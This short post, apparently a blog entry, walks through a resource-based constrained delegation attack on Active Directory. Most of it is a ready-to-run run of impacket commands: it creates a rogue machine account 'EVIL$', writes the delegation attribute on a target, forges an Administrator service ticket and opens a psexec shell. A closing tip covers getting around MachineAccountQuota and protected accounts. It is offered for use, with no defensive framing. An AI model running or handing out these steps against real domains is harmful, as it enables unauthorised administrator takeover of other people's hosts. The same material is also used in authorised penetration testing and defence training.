Resource-based constrained delegation from a single GenericWrite

Jul 6, 2026 · 1 min read

GenericWrite or GenericAll over a computer object is full compromise of that host. Set its delegation attribute to an account you control, then abuse S4U2self and S4U2proxy.

bash

impacket-addcomputer -computer-name 'EVIL$' -computer-pass 'Passw0rd!' dom/user:pass
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write dom/user:pass
getST.py -spn cifs/target.dom -impersonate Administrator dom/'EVIL$':'Passw0rd!'

Use the ticket immediately.

bash

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass target.dom

Pro note: if MachineAccountQuota is 0, reuse any computer or service account whose password or hash you already hold instead of creating EVIL$. Impersonate a user who is not in Protected Users and is not marked sensitive for delegation.